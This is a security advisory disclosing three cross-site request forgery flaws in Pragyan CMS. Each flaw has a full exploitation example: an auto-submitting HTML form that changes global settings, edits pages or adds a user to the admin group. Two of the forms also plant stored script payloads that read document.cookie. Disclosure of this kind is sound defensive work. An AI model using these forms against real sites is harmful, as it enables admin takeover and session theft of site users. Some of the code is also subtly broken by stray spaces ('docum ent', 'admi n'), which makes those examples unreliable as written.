Cross-site Request Forgery (CSRF) Vulnerabilities in Pragyan CMS

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Pragyan CMS which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) vulnerabilities in Pragyan CMS
1.1 The vulnerability exists due to insufficient validation of the request origin in cms/admin.lib.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change website settings. Due to insufficient sanitation of input data in the "cms_desc", "cms_keywords" and "cms_footer" parameters it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/?page=/&action=admin&subaction=global" method="post" name="main">
<input type="hidden" name="cms_title" value="Pragyan CMS">
<input type="hidden" name="cms_desc" value='desc3"><script>alert(document.cookie)</script>'>
<input type="hidden" name="cms_keywords" value='Pragyan CMS"><script>alert(document.cookie)</script>'>
<input type="hidden" name="cms_footer" value='Powered by Praygan CMS"><script>alert(document.cookie)</script>'>
<input type="hidden" name="cms_email" value="[email protected]">
<input type="hidden" name="default_template" value="crystalx">
<input type="hidden" name="update_global_settings" value="">
</form>
<script>
document.main.submit();
</script>
1.2 The vulnerability exists due to insufficient validation of the request origin. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify pages. Due to insufficient sanitation of input data in the "CKEditor1" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/?page=/MY_PAGE_URL/&action=edit" method="post" name="main">
<input type="hidden" name="CKEditor1" value='page content"><script>alert(document.cookie)</script>'>
</form>
<script>
docum ent.main.submit ();
</script>
1.3 The vulnerability exists due to insufficient validation of the request origin. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and add arbitrary user to arbitrary group.
Exploitation example:
<form action="http://host/?page=/&action=admin&subaction=editgroups&groupname=admi n" method="post" name="main">
<input type="hidden" name="txtUserEmail" value="[email protected]+-">
<input type="hidden" name="btnAddUserToGroup" value="Add User to Group">
</form>
<script>
document.main.submit();
</script>